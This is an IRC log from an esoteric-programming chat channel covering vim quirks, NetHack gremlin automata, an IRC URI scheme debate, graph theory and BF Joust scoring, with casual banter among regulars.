18:58:20 <lambdabot> ""
18:58:21 <elliott> (if' □ mempty □)
18:58:32 <elliott> :t (if' `flip` mempty `flip`)
18:58:32 <lambdabot> Not in scope: `if''
18:58:33 <oerjan> close enough
18:58:40 <elliott> :t \if' -> (if' `flip` mempty `flip`)
18:58:41 <lambdabot> forall (f :: * -> *) a a1 b. (Monoid a, Functor f) => f (a -> a1 -> b) -> a1 -> f b
19:06:01 * oerjan finds out vim doesn't match parentheses well when there are quoted strings with unbalanced ones in them
19:06:35 <oerjan> even adding a comment to balance them doesn't unconfuse it completely
19:07:01 <oerjan> ('(' : n ++ (if b then ")(^" else "())(^^" {-)-}) ++ s ++ ")")
19:07:47 <oerjan> when i put the cursor on the last ) it matches the second (, if i put it on the second last ) it matches the _first_ (
19:07:58 <elliott> oerjan: hmm
19:08:02 <elliott> are you using a language mode?
19:08:06 <elliott> or just treating it as text
19:08:17 <oerjan> it's haskell syntax coloring at least
19:08:21 <elliott> hmm
19:08:31 <elliott> oerjan: it's probably using the same logic as %, but that seems weird to me
19:09:01 <oerjan> heh, actually % has a completely different wrong matching :D
19:09:10 <elliott> "Nice."
19:12:39 -!- copumpkin has changed nick to SmugMcFudge.
19:14:10 -!- SmugMcFudge has changed nick to copumpkin.
19:19:17 -!- augur has quit (Remote host closed the connection).
19:36:31 -!- poiuy_qwert has quit (Quit: Leaving).
19:54:34 -!- augur has joined.
20:04:38 -!- Mathnerd314 has quit (Quit: ChatZilla 0.9.86-rdmsoft [XULRunner 1.9.2.13/20101203075014]).
20:09:11 -!- Mathnerd314 has joined.
20:23:50 -!- zzo38 has joined.
20:25:21 <zzo38> I want to publish my programs in a book with a DVD in the back. (In addition to being freely downloadable and Free software, too.)
20:35:28 -!- allanlw has joined.
20:38:16 <oerjan> elliott: hm the visual matching problem seems to only happen when i use '' character constants
20:38:28 <oerjan> the % mismatch continues otherwise too
20:38:29 <elliott> oerjan: probably because of foo' being a valid identifier
20:38:36 <oerjan> huh
20:38:41 <oerjan> well yeah
20:41:54 -!- Mathnerd314 has quit (Quit: ChatZilla 0.9.86-rdmsoft [XULRunner 1.9.2.13/20101203075014]).
20:56:12 <ais523> (in #nethack) <blackcustard_> ... could a sufficently large system of gremlins and pools form a turning complete cellular automata?
20:56:14 <ais523> any ideas?
20:56:16 -!- blackcustard_ has joined.
20:57:12 -!- Snowyowl has joined.
20:58:14 <elliott> uh oh
20:58:17 <elliott> what did you do ais523 >:)
20:58:47 <ais523> elliott: someone mentioned an esolang question in #nethack, I posted it here and said I had
20:59:05 <ais523> and then someone mentioned BF Joust out of nowhere
20:59:16 <elliott> are we absolutely sure that #nethack isn't just #esoteric in disguise?
20:59:30 <ais523> well, there's quite an overlap, but #nethack is much larger
20:59:34 <ais523> so my guess is no
20:59:44 <elliott> Yes, but maybe they're just typoing esoteric as nethack.
20:59:44 <ais523> umm, yes
21:01:21 <ais523> to answer the original question, it's going to be quite hard to tell due to the random enexto-based placement of gremlins when they split
21:01:22 <Phantom_Hoover> ais523, gremlins?
21:01:35 <Snowyowl> I knew about esolangs.org before you mentioned it, but I didn't realise you had an IRC channel.
21:01:41 <Snowyowl> *adds to favourites*
21:01:56 <ais523> Phantom_Hoover: a NetHack monster: they have finitely many HP, and when in water they split, with each of the new halves having half the max HP
21:02:05 <ais523> also, when a NetHack monster kills another, it gains max HP
21:02:30 <zzo38> Snowyowl: The IRC is also mentioned in the wiki.
21:02:35 <ais523> and I think it can gain more than the opposing monster had in some cases, meaning that you can keep gremlins fighting and splitting indefinitely by alternating putting a ring of conflict on and taking it off
21:02:45 <ais523> zzo38: yep, but in a place people often don't look
21:02:50 <ais523> perhaps we should put it on the main page
21:03:25 -!- Mathnerd314 has joined.
21:04:58 <zzo38> I suggest not using the irc:// URI scheme (which you already use actually), it is a dumb format that some software expects differently. I invented by own URI scheme for IRC, which is more consistent and works better however no program uses it. Therefore, post it as just text, no link, for better working.
21:05:31 <ais523> irc:// is the only form that's linked automatically by MediaWiki
21:05:43 <ais523> which is why it's used on the wiki, I think
21:05:55 <blackcustard_> for that matter, i found i could get a stable gremlin population in jubilex's swamp (a level that is almost entirely water, and has nothing to block the influence of conflict, which makes monsters fight each other), without taking off conflict
21:06:13 <zzo38> My suggestion was to use text, no link.
21:06:13 <elliott> there's nothing wrong with irc://.
21:06:23 <elliott> err, there i go, arguing with zzo
21:06:40 <ais523> blackcustard_: ooh, interesting
21:06:56 <ais523> my only gremlin farming experience is establishing it was possible, then stopping
21:07:36 <zzo38> And my own format is called ircp:// to distinguish it, so that programs are not confused by it.
21:08:18 <ais523> zzo38: in your opinion, is irc:// improved by adding the :6667 or whatever explicitly?
21:08:32 -!- punky1 has joined.
21:08:41 <zzo38> ais523: In my opinion, irc:// is completely broken, and that will not help much.
21:08:56 <ais523> fair enough
21:09:05 <ais523> come to think of it, it /is/ broken, the # means the wrong thing
21:09:16 <ais523> hmm, unless it's a URN rather than a URL?
21:09:18 <zzo38> ais523: Yes that is one of my complaints with it.
21:09:25 <ais523> for URNs, it doesn't really matter what it means
21:09:32 <ais523> but I think it is a URL, technically
21:10:55 <zzo38> Here is my format for this channel: ircp://irc.freenode.net:6667/join?%23esoteric (where all parts are case-insensitive)
21:11:05 <elliott> /join?
21:11:08 <elliott> that's even worse
21:11:11 <elliott> now it's not even a URI
21:11:16 <zzo38> And is permitted to write the username/password before the hostname too with @
21:11:19 <elliott> (a proper one, that is)
21:11:22 <ais523> hmm, is there a /part? too?
21:11:34 <zzo38> ais523: No. Only a subset of IRC commands are usable in the URL.
21:11:37 <ais523> that could be vulnerable to XSRF attackw
21:11:39 <ais523> ah
21:11:43 <ais523> I assume query is one of them
21:11:44 <elliott> that's still broken
21:11:51 <elliott> it isn't an identifier any more
21:11:55 -!- punky1 has left (?).
21:12:03 <ais523> elliott: I think it's using "join" to mean "channel"
21:12:06 <elliott> irc.freenode.net:6667/channel/%23esoteric would be correct
21:12:11 <elliott> ais523: then it should not be a query parameter
21:12:18 <ais523> ah, yes
21:12:20 <zzo38> PART is not allowed, although LIST and WHOIS is allowed; NICK is not allowed.
21:12:36 <ais523> I find it hard to even understand the concept of a whois having a URL
21:12:38 <zzo38> elliott: OK change it to / instead of ? then
21:13:50 <zzo38> Perhaps you are correct / is better
21:14:19 <zzo38> And ? is used to specify the channel key, instead.
21:14:19 <ais523> yep, I think / is better there
21:14:23 <ais523> yep, that's right
21:14:30 <ais523> it's obvious as soon as you mention it
21:14:35 <elliott> it should be channel, not join
21:14:52 <ais523> # probably shouldn't be used, as it would refer to a particular thread within a channel, which isn't something IRC clients track, as it has to be done mentally
21:14:52 <elliott> whois isn't right, it should instead be server/user/nick
21:15:00 <elliott> e.g. ircx://irc.freenode.net:6667/user/elliott
21:15:23 <elliott> also, instead of ?key, it should be ?keys=...
21:15:26 <elliott> (yes, keys; it's a list)
21:15:29 <elliott> (comma-separated)
21:15:29 <elliott> oh wait
21:15:34 <elliott> that's just for multiple channel
21:15:35 <elliott> s
21:15:36 <elliott> ?key= then
21:15:36 <lambdabot> i still dont understand how gci is supposed to do anything other than mathematics
21:15:37 <ais523> why would you give more than one password to get into the channel?
21:15:47 <elliott> ais523: it was my mistake
21:15:51 <elliott> actually, wait
21:15:55 <ais523> lambdabot's too, by the look of it
21:16:04 <elliott> ais523: "?" prefix
21:16:10 <ais523> also, is that a typo for ghci? or something else?
21:16:13 <elliott> ircx://irc.freenode.net:6667/channel/%23esoteric?key=secret
21:16:14 <elliott> yes
21:16:21 <ais523> umm, which?
21:16:29 <elliott> ghci
21:16:29 * ais523 makes a mental note not to ask questions with "or" in
21:16:31 <zzo38> I wrote a specification for ircp:// scheme although I will change it to use / instead of ? for most things.
21:16:47 <elliott> ais523: oh, and I'd handle /user/FOO as /query FOO displaying a whois of FOO inside
21:17:00 <ais523> well, /query is an implementation detail
21:17:06 <elliott> exactly
21:17:07 <ais523> at the IRC level, there's only /msg (PRIVMSG)
21:17:11 <elliott> but so is the handling of URIs
21:17:15 <elliott> or even URLs in this case
21:17:38 <ais523> a URL is a sort of URI
21:17:53 <elliott> ais523: I mean, it would be valid to open up some statistics page for the channel upon loading it
21:17:54 <zzo38> Mostly only IRC commands used, and only a subset of them. Neither MSG nor PRIVMSG is permitted.
21:18:02 <elliott> there's a MSG irc command?
21:18:06 <elliott> wait, let me guess, messages everyone on the server
21:18:09 <zzo38> No, there is no MSG command.
21:18:23 <ais523> elliott: there is a message everyone on the server command, WALL
21:18:25 <zzo38> (Which is one reason for not being permitted)
21:18:34 <ais523> no sane IRC server will actually let you use it
21:18:34 <elliott> zzo38: you need more reasons than that?
21:18:39 <elliott> ais523: I'm sure zzo's does.
21:18:45 <zzo38> WALL is also unknown on this server.
21:19:39 <ais523> I'm still disappointed that 255.255.255.255 isn't actually the broadcast address for the entire Internet
21:19:41 <ais523> it should be, really
21:19:48 <ais523> (even if no sane router would route it)
21:19:50 <zzo38> The command is WALLOPS, I think.
21:20:00 <ais523> zzo38: no, that just messages all opers
21:20:13 <ais523> it was added as a less insane version of WALL, but still turned out to be too insane
21:20:23 <zzo38> It messages everyone with +w usermode set.
21:20:25 <ais523> Freenode modified it so that only opers could use it, and that it messaged everyone with user mode +w
21:20:35 <elliott> wallops appears to be only available for ops here, haha
21:20:38 <elliott> oh
21:20:41 <elliott> well that's boring
21:20:42 <ais523> and I keep that mode set, so I can see things that opers randomly decided to broadcast
21:20:50 <ais523> which is normally things like blog posts
21:21:00 <zzo38> I will look to see what the IRC says about it.
21:22:04 <ais523> (Freenode has an actual equivalent STATS P, which tells you the nicks of all staffers who are online and not hiding from it)
21:23:59 -!- Vorpal has quit (Remote host closed the connection).
21:24:21 <zzo38> I see nothing about WALL command in any RFC, only WALLOPS.
21:24:35 <zzo38> ais523: You need to use lowercase p, though.
21:24:42 <zzo38> And there is nothing listed.
21:24:51 <ais523> there's usually nothing listed, the staffers like hiding
21:25:00 <ais523> zzo38: I think WALL was realised to be a bad idea even before the first RFC
21:25:28 <zzo38> ais523: O, OK, then.
21:28:35 -!- Vorpal has joined.
21:29:46 <zzo38> I have organized the commands in ircp:// into "Level 1" and "Level 2" specifications. The "Level 2" are less standard than the "Level 1" (and "Level 2" are optional if you choose to implement only "Level 1"), but are still part of the document. The "Level 2" commands include /ns/info/ and /cs/info/ for registered users/channels (where the "Level 1" /whois/ and /join/ are for current or unregistered).
21:30:29 -!- blackcustard has joined.
21:31:46 -!- zeotrope has quit (Ping timeout: 276 seconds).
21:31:54 -!- Mathnerd314 has quit (Ping timeout: 240 seconds).
21:32:03 -!- blackcustard_ has quit (Ping timeout: 272 seconds).
21:32:32 -!- Mathnerd314 has joined.
21:48:49 <zzo38> I invented a wiki system where all wiki pages are input using TeX. Many commands are disabled in the format file. Also, it uses a font called "dum.tfm" with all dimensions set to zero. I will add other features too, such as data table, templates, and so on. Each title has the low 3 bits indicating which subpage, 0 for article, 1 for discussion, and so on.
21:48:50 -!- zzo38 has quit (Quit: zzo38).
21:48:53 -!- Snowyowl has quit (Ping timeout: 250 seconds).
21:48:56 <elliott> phew
21:50:07 <ais523> phew at zzo leaving?
21:50:11 <ais523> I like him here
21:50:28 <elliott> ais523: phew at zzo leaving before he got the chance to tell us every single detail of his wiki system and how existing wiki systems are incredibly inferior to it because they don't do $insane_thing
21:50:35 <elliott> and then asking random people if they like it
21:50:42 <elliott> nothing personal
21:50:58 <ais523> you do realise he'd be /right/, right?
21:50:59 <elliott> (SHUT UP THAT DOESN'T SOUND LIKE ME AT ALL)
21:51:14 <Phantom_Hoover> ais523, yes, but he's insanely obnoxious about things like this.
21:51:17 <elliott> ais523: err, have you ever _heard_ zzo's ideas?
21:51:24 <ais523> yes
21:51:29 <ais523> they're platonically right, it's the universe that's incorrect
21:51:31 <Phantom_Hoover> He seems to be completely unable to understand that noöne else cares.
21:51:40 <elliott> ais523: um, his hatred of PDF is quite clearly illogical and wrong.
21:52:00 <elliott> And PostScript, no less.
21:52:06 <Phantom_Hoover> elliott, as is his hatred of LaTeX.
21:52:07 <elliott> I have no idea what he doesn't like about PostScript. Everyone likes PostScript.
21:52:11 <elliott> Phantom_Hoover: IT'S BLOATED
21:52:13 <Phantom_Hoover> Wait, why does he hate PDF?
21:52:18 <elliott> No. Fucking. Clue.
21:52:24 <elliott> I think he thinks it's -- wait for it -- bloated.
21:52:28 <elliott> And because DVI is, you know, the best format ever.
21:59:45 -!- ais523 has quit (Remote host closed the connection).
22:23:53 <oklopol> yeah
22:24:53 <elliott> o hi oklopol
22:28:47 <oklopol> i suppose
22:30:05 <elliott> that's true
22:37:31 <Phantom_Hoover> SLEEP
22:37:35 -!- Phantom_Hoover has quit (Quit: Leaving).
22:43:47 -!- Zuu has joined.
22:46:22 -!- TLUL has joined.
22:54:57 <elliott> still not done archive binging ;_;
22:56:13 <oklopol> well
22:57:23 <elliott> oklopol: wat
22:59:41 <oklopol> oh sorry i'm just saying random things again i suppose
22:59:47 <elliott> oklopol: that's acceptable
23:00:32 <oklopol> good, because i'm not sure life without saying random things is worth living
23:04:16 -!- oerjan has quit (Quit: leaving).
23:08:47 <elliott> so oklopol
23:08:49 <elliott> what are the haps
23:15:32 <oklopol> well, i have an exam in 8 hours
23:15:40 -!- azaq23 has quit (Ping timeout: 240 seconds).
23:15:44 <elliott> oklopol: who cares about _that_
23:15:55 <oklopol> i do
23:16:05 <oklopol> what did you want then?
23:16:14 <elliott> a pony
23:16:17 <oklopol> i'm going to sleep soon, is that more interesting?
23:16:29 <elliott> no
23:16:31 <elliott> sleep is pretty boring
23:16:35 <oklopol> what use could you possibly have for a pony
23:16:45 <elliott> i dunno
23:16:46 <elliott> ponying
23:16:58 <oklopol> sleep is fun, since i have lucid dreams quite often nowadays
23:17:08 <elliott> lucky shithead
23:20:28 <oklopol> and i like sleep even without lucid dreams
23:20:34 <oklopol> well
23:21:03 <pikhq_> I have two sorts of dreams: lucid dreams, and dreams I don't recall even having.
23:21:07 <oklopol> the going to sleep and waking up parts
23:36:47 <elliott> "If you make me a sami, I'll finnish it. That'd be swede.
23:36:47 <elliott> Ha! There's norway to stop me now!!!"
23:38:33 -!- cheater- has joined.
23:41:15 -!- cheater00 has quit (Ping timeout: 240 seconds).
23:41:32 <elliott> hmm, i wonder how simple the gif format is
23:41:35 <elliott> probably not at all.
23:44:21 <oklopol> yesterday
23:46:55 <elliott> oklopol: tarski tarski tarski
23:53:45 -!- Snowyowl has joined.
2011-02-28
00:16:38 -!- blackcustard has quit (Ping timeout: 272 seconds).
00:19:18 -!- comex has changed nick to chpwn.
00:20:01 -!- chpwn has changed nick to comex.
00:34:30 -!- pikhq has joined.
00:35:04 -!- pikhq_ has quit (Ping timeout: 260 seconds).
01:16:48 -!- TLUL_ has joined.
01:16:57 -!- TLUL has quit (Disconnected by services).
01:17:00 -!- TLUL_ has changed nick to TLUL.
01:22:37 -!- Snowyowl has quit (Quit: Snowyowl).
01:28:02 -!- azaq23 has joined.
01:28:50 -!- augur_ has joined.
01:29:15 -!- augur has quit (Read error: Connection reset by peer).
01:29:25 -!- augur_ has changed nick to augur.
01:30:51 -!- augur has quit (Read error: Connection reset by peer).
01:31:44 -!- augur has joined.
01:51:53 -!- zzo38 has joined.
01:53:46 <zzo38> The wiki system I am making is simply an experimental system, it is not intended to be better or worse than other systems. I just try to see what I can make with this.
01:54:40 <zzo38> However I am still going to make TeXnicard, too.
01:57:55 -!- alp_y has joined.
01:58:40 <zzo38> Do you like to play tsume shogi?
02:01:05 <pikhq> tumesiȳôkì?
02:05:29 -!- BeholdMyGlory has quit (Remote host closed the connection).
02:07:33 <zzo38> pikhq: Yes, although one of the letters in your romanization scheme will not display on my computer because I do not have the fonts.
02:14:29 -!- pikhq_ has joined.
02:15:01 -!- pikhq has quit (Ping timeout: 276 seconds).
02:15:04 <elliott> "All developers in Windows have access to all the Windows source code. The source code is completely indexed and we have a really nice tool for searching the code."
02:15:08 <elliott> WHY HASN'T IT BEEN FULLY LEAKED YET
02:15:24 <Mathnerd314> because they'd get caught
02:16:04 <Mathnerd314> if you really want me to, I could get hired by M$ and get it to you in ~10 years
02:16:05 <elliott> Mathnerd314: that would be pretty hard to prove
02:16:15 <elliott> You're certain MS would hire you? :p
02:16:29 <elliott> If you have a full checkout of the source then it's a single copy operation to leak it.
02:16:38 <elliott> I doubt every copy operation on every developer's machine is logged.
02:17:54 <Mathnerd314> hmm... did you google for it?
02:18:15 <elliott> Google for what?
02:19:05 <Mathnerd314> the windows source code
02:21:55 <Mathnerd314> apparently it's several GB though.
02:23:45 <elliott> Mathnerd314: Uhh, if it leaked I'd know about it, it was huge news when parts leaked in 2004.
02:25:25 <pikhq_> I'm pretty sure that MS actually doesn't have any single developer with access to the whole thing.
02:25:47 <pikhq_> (source: friend who works at MS. And develops for Windows.)
02:26:20 <elliott> pikhq_: You're wrong. Source: This blog post by someone who works for MS. And devleops for windows.
02:26:46 <elliott> http://foredecker.wordpress.com/2011/02/27/working-at-microsoft-day-to-day-coding/
02:26:48 <elliott> "All developers in Windows have access to all the Windows source code. The source code is completely indexed and we have a really nice tool for searching the code. Everyone also has access to all bugs, all source code control change descriptions, and all specifications. Note, there are sometimes a very few things that are locked down to just a team. These are usually security and cryptography related."
02:26:57 <elliott> I'm sure the system can run without crypto.
02:27:35 -!- sebbu2 has quit (Ping timeout: 240 seconds).
02:28:23 <elliott> "(man, I just love Jeff Atwood)"
02:28:24 <elliott> /vomit
02:28:48 <pikhq_> elliott: Probably depends on what you count as "the whole thing", then.
02:32:46 <elliott> http://www.youtube.com/watch?v=dQmK1CnwOUI
03:08:50 -!- sebbu has joined.
03:08:51 -!- sebbu has quit (Changing host).
03:08:51 -!- sebbu has joined.
03:13:05 -!- sebbu2 has joined.
03:13:06 -!- sebbu2 has quit (Changing host).
03:13:06 -!- sebbu2 has joined.
03:16:23 -!- sebbu has quit (Ping timeout: 272 seconds).
03:20:54 -!- pizearke2 has joined.
03:22:48 <pizearke2> what's up esolang?
03:23:53 <elliott> everything.
03:23:54 <elliott> evreything is up.
03:25:03 <Mathnerd314> except assembly. I'd say that's down.
03:32:29 <coppro> The enemy's gate.
03:33:49 <pizearke2> Do you guys like unlambda?
03:38:22 <elliott> oerjan does at least :P
03:38:40 <pizearke2> orly?
03:38:46 <pizearke2> When is he on?
03:38:54 <pizearke2> I need someone to talk about CL with xD
03:39:19 <elliott> Most of the time. Be warned, he's old and grumpy. ok not that grumpy.
03:46:06 <Sgeo> CL?
03:46:24 <pizearke2> Combinatory logic.
03:49:56 -!- alp_y has quit (Ping timeout: 240 seconds).
03:57:07 -!- elliott has quit (Ping timeout: 240 seconds).
03:59:34 <zzo38> pizearke2: I know some things about Unlambda.
03:59:54 <zzo38> Do you have specific questions?
04:00:15 <Sgeo> zzo38, #clojure now knows of you
04:00:24 <Sgeo> I don't know if you were here when I mentioned it
04:01:05 -!- azaq23 has quit (Ping timeout: 264 seconds).
04:01:47 <pizearke2> Not really questions, no.
04:04:06 <zzo38> Sgeo: Now I know.
04:05:24 <oklopol> CL is cool, no one's judging you
04:05:59 <Sgeo> zzo38, they needed a URL that gives a 503, so I pointed them to your thing
04:07:00 <pizearke2> I just figured out how to not use a fixed point combinator for recursion.
04:07:03 <zzo38> Sgeo: OK. Why did they need a URL that gives a 503?
04:07:10 <pizearke2> I'm not sure if I discovered this, or if I'm just behind the game.
04:07:59 <Sgeo> zzo38, one of the bots in the channel seemed to have an issue with some URL that gave a 503, but they weren't sure. So they needed one that could be relied on to give a 503 to test what the bot would do.
04:08:24 <Sgeo> The URL that it choked on didn't realiably give a 503, it was.. I don't even know what 503 is tbh
04:11:06 <zzo38> Ah, OK. Now I understand. I suppose then, that my program is now useful for kind of testing purposes such as that!
04:12:53 <zzo38> It is capable of generating any error code that PHP and Apache can generate (you cannot put just any arbitrary code, which is a bit unfortunately...)
04:19:51 -!- pizearke2 has quit (Quit: Page closed).
04:25:26 <oklopol> argh, now i'll never know if pizearke2 just meant passing a function along
04:25:32 <oklopol> why didn't you ask
04:32:01 <zzo38> I didn't know that either.
04:38:10 -!- allanlw has quit (Read error: Connection reset by peer).
04:42:21 -!- Alex_Meg1roide has joined.
04:42:56 -!- pingveno has quit (Read error: Connection reset by peer).
04:43:15 -!- pingveno has joined.
04:45:44 -!- Alex_Megaroide has quit (Ping timeout: 276 seconds).
04:48:17 <Sgeo> I appear to be accidentally creeping out Other KT-AT
04:48:42 <Sgeo> She seems to be unaware that my other number is me, despite me telling her several times
04:51:55 <pikhq_> Might I suggest you stop failing at life?
04:52:08 <pikhq_> I know, I'm sounding like a broken record.
04:55:27 <oklopol> so what, she thinks you are sharing everything she tells you with your best buddy or something
04:56:58 -!- pingveno has quit (Read error: Connection reset by peer).
04:57:06 <Sgeo> oklopol, no, she is unaware of who the person who texted her is
04:57:08 <Sgeo> I think
04:57:13 <Sgeo> oklopol, >.>
04:57:17 -!- pingveno has joined.
04:59:01 <Sgeo> Besides, you think I tell you _everything_?
04:59:04 <Sgeo> About anything?
04:59:14 <oklopol> erm, i'm not talking about myself
04:59:52 <oklopol> okay see in my head it went, you send from your other number smth like "i'd certainly like to see you in those pink panties again" and she's like "WHAT?!? Sgeo took a pic?!?!?! that FUCKING PIG"
05:00:22 <Sgeo> oklopol, also, I think you missed 'Other'
05:00:30 <Sgeo> And also, I'm not at that point with anyone
05:00:35 <Sgeo> And also, all I said was Hi
05:00:41 <Sgeo> Sorry to ruin your fantasy
05:00:54 <oklopol> you should be
05:00:59 <oklopol> it was a nice fantasy
05:01:54 <oklopol> two and a half hours till exam
05:01:57 <oklopol> but i'm not feeling it
05:04:01 -!- yorick has quit (Ping timeout: 272 seconds).
05:07:08 -!- Mathnerd314 has quit (Ping timeout: 250 seconds).
05:10:39 -!- asiekierka has joined.
05:10:53 -!- Mathnerd314 has joined.
05:25:03 -!- Leonidas has quit (Ping timeout: 264 seconds).
05:25:20 -!- Leonidas has joined.
05:38:17 -!- asiekierka has quit (Ping timeout: 240 seconds).
05:44:01 -!- pikhq_ has quit (Ping timeout: 240 seconds).
05:44:18 -!- pikhq has joined.
05:46:58 <pikhq> Fucking Internet connection.
05:56:48 <zzo38> Please read this: http://www.chessvariants.org/index/msdisplay.php?itemid=MScopper,silver,
06:06:01 <zzo38> This is a kind of game like shogi.
06:06:11 <zzo38> Do you like to play shogi game?
06:08:47 <zzo38> I have played some tsume shogi game on GameBoy. But this game is not tsume shogi game, it is a different kind of game with some similarity to shogi and a bit to xiangqi, too.
06:14:41 <pikhq> Out of immense curiosity, to what extent have you learned foreign languages?
06:14:54 <pikhq> I know, seems like a bit of a non sequitur.
06:15:47 <zzo38> I have not learned it much. However, I sometimes read a Japanese books.
06:16:01 <zzo38> And Japanese tsume shogi game.
06:17:14 <zzo38> I know a few things of Japanese, including some kanji, and kana pronouncing, and a few words. Sometimes I also look up other words in WWWJDIC, because I try to read the book and some word I do not know.
06:18:15 <pikhq> I'm mostly wondering why your English appears so incredibly nonnative.
06:18:29 <pikhq> Even though I know that English is your native language.
06:19:46 <zzo38> I don't know why?
06:20:28 <zzo38> It is probably because I try to write things which have no proper English word/grammar so I have to make up new one to try to write what I am trying to write, but still it is not perfectly what I am trying to mean.
06:20:45 <oklopol> i don't think it's that
06:21:22 <zzo38> oklopol: OK, then you can say it is something else.
06:21:58 <oklopol> oh i have no idea what it is. personally i love the way you talk
06:22:14 <zzo38> OK.
06:22:18 <pikhq> It's kinda got an uncanny valley effect going on to me.
06:22:36 <zzo38> pikhq: What is an uncanny valley effect?
06:24:03 <pikhq> zzo38: The "uncanny valley" effect is a problem, usually in computer graphics, that as you get a depiction of a human closer to reality, it appears more realistic until you get too close. At which point it becomes freaking creepy. This point is called the "uncanny valley". More realistic appears more realistic, less realistic appears more realistic...
06:24:18 <pikhq> And I'm analogising with that.
06:24:50 <pikhq> http://upload.wikimedia.org/wikipedia/commons/f/f0/Mori_Uncanny_Valley.svg ←
06:26:09 <zzo38> OK, let me see.
06:26:55 <zzo38> OK now I can see what it is.
06:28:31 -!- oerjan has joined.
06:35:24 <zzo38> Does that chess variant interest you?
06:39:02 <zzo38> Does any chess variant at all interest you?
06:39:23 -!- pikhq has quit (Ping timeout: 250 seconds).
06:39:30 -!- pikhq has joined.
06:41:27 <quintopia> pikhq: it's something ASD. seems like he'd be interesting to meet, no?
06:41:43 <oklopol> zzo38: no!
06:41:51 <oklopol> oerjan: yes!
06:41:59 <pikhq> quintopia: Mmm?
06:42:44 <quintopia> the reason he writes this way
06:43:00 <pikhq> Mmm.
06:43:08 <oklopol> he writes that way because it's cool, i'm sure
06:43:20 <oerjan> oklopol: wat
06:43:23 <oerjan> i mean hi
06:45:09 <oklopol> oerjan: did you know that in a k-connected graph, given any v, and S with v \notin S, |S| = k, there exist k paths from v to a node in S that only share the vertex v
06:45:39 <oerjan> no.
06:45:41 <oklopol> k-connected = smallest vertex set that disconnects the graph or makes it trivial has size k
06:46:36 <oklopol> well now you do! these are called dirac's fans... well i'm not sure what exactly is the dirac fan, maybe v, S and the paths together
06:46:49 <zzo38> Can you show an example? I do not know much about graph theory
06:47:20 <oklopol> i'm not sure i want to do that in ascii
06:47:38 <oklopol> if you don't get something in the definition, i'll be happy to clarify tho
06:47:51 <oerjan> ok, sounds somewhat plausible at least
06:47:53 <oklopol> i'd prove this but i have the exam
06:48:18 <zzo38> It does not have to be in ASCII.
06:48:21 <oklopol> oerjan: rather direct corollary of: smallest separating set has size k <=> k independent paths between any two vertices
06:48:37 <oklopol> independent = only share ends
06:48:45 -!- augur has quit (Remote host closed the connection).
06:49:05 <oklopol> this is menger's theorem, and you usually prove it with a rather tedious although straightforward induction
06:49:32 <zzo38> The reason I do not understand is only because I do not know much of graph theory; but if I see example then perhaps I can learn graph theory more better.
06:49:47 <oklopol> well make an example yourself?
06:50:27 <oklopol> make a graph such that you'd have to remove at least k vertices to make it disconnected
06:50:40 <oerjan> hm well i don't think it's enough to choose a vertex in S for the other one in the independent paths thing
06:50:43 <oklopol> and then take a random vertex, and a random k element set
06:50:58 <oklopol> oerjan: no, rather direct, not completely direct
06:51:23 <oklopol> you have to add another vertex to every element of S
06:51:24 <zzo38> OK, I can do that. However I do not know what makes a graph "trivial"?
06:51:31 <oklopol> zzo38: 1 vertex
06:51:49 <oklopol> 0 vertices is not considered a graph in our framework
06:51:56 <zzo38> oklopol: That was one of my guesses. Thanks for explaining it to me. Now I can try.
06:52:28 <oklopol> it was not explaining, it was defining! this is important to distinguish
06:53:02 <oklopol> well, perhaps you mean defining by explaining
06:53:56 <oklopol> but you need to explain and define things in math, and just like books have freeform paragraphs for explanation and definition blocks for definitions, you should try to make a clear distinction in any math context
06:53:57 <zzo38> Yes, I mean defining.
06:54:28 <oklopol> yeah, i just tend to be a bit zealous about this stuff
06:54:30 <oklopol> working on it
06:55:41 <oklopol> anyway drawing the graph won't teach you nearly as much graph theory as proving menger's theorem would, or at least proving that v and S thing from menger's theorem
06:55:42 <oklopol> well
06:55:57 <oklopol> i already basically gave the proof
06:56:11 <oklopol> at least the fun part of it :P
06:56:48 <oklopol> i have to leave ->
06:58:33 <zzo38> Maybe I can make up a font with diagonal lines for graph theory in TeX.
06:59:41 <quintopia> menger's thm is not hard to prove iirc
07:00:51 <quintopia> also the fan thing has some interesting things you can prove
07:07:39 <zzo38> How strong is an alloy of copper, silver, gold?
07:09:17 -!- augur has joined.
07:10:01 -!- zzo38 has quit (Quit: Are you considered a graph in my framework?).
07:11:52 -!- ineiros has joined.
07:23:37 -!- wth has joined.
07:27:49 -!- wth has quit (Remote host closed the connection).
07:28:55 -!- wth has joined.
07:39:55 -!- pikhq_ has joined.
07:40:05 -!- pikhq has quit (Ping timeout: 250 seconds).
07:40:09 <pikhq_> Oh holy crapcrap.
07:40:14 <pikhq_> The BBC has aired David Firth cartoons.
07:40:19 <pikhq_> This frightens me.
07:40:29 <pikhq_> And impresses me.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:42:16 <quintopia> !bfjoust increase (+)*-1
08:44:09 <EgoBot> Score for quintopia_increase: 13.4
08:45:45 <quintopia> bahaha
08:45:55 <quintopia> it beat deewiant's top competitors XD
08:46:55 <quintopia> also breakdown.txt seems to print the wrong victor?
08:46:58 <quintopia> GREGOR
08:47:14 <quintopia> EXPLAIN THIS PLOX
08:47:16 <quintopia> Deewiant_allegro.bfjoust vs quintopia_increase.bfjoust
08:47:16 <quintopia> >>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>> -42
08:47:16 <quintopia> Deewiant_allegro.bfjoust wins.
08:48:08 <quintopia> it appears you are printing the arrows backwards!
08:48:19 <quintopia> because the report shows the victor is correct
08:48:28 <quintopia> reverse your arrows please gregor!
08:54:38 -!- wth has left (?).
09:15:47 <fizzie> They are, in fact, my arrows; but they are the correct way around for me; I think Gregor must've broken them when changing the sign of the scores. (My version had "42" for that result, i.e. score for left player.)
09:16:14 <fizzie> I told him to just print -score in main, but I think he instead flipped all the places where the actual interpreter updates the score, for some reason.
09:16:34 <fizzie> (Of course I told him that only afterwards, but that's no excuse.)
09:29:21 -!- alp_y has joined.
09:29:51 <quintopia> oh, is this chainlance?
09:29:54 <quintopia> or ah
09:29:56 <quintopia> gearlance?
09:31:16 <quintopia> in any case, a simple fix would be to switch the order the competitors are displayed in the breakdown (new competitor on the left)
09:31:35 <quintopia> (and, you know, leave the score value alone)
09:35:36 -!- yorick has joined.
09:44:57 -!- cheater- has quit (Ping timeout: 240 seconds).
09:45:49 -!- cheater- has joined.
09:48:23 <oerjan> @hoogle [a] -> Bool
09:48:24 <lambdabot> Prelude null :: [a] -> Bool
09:48:24 <lambdabot> Data.List null :: [a] -> Bool
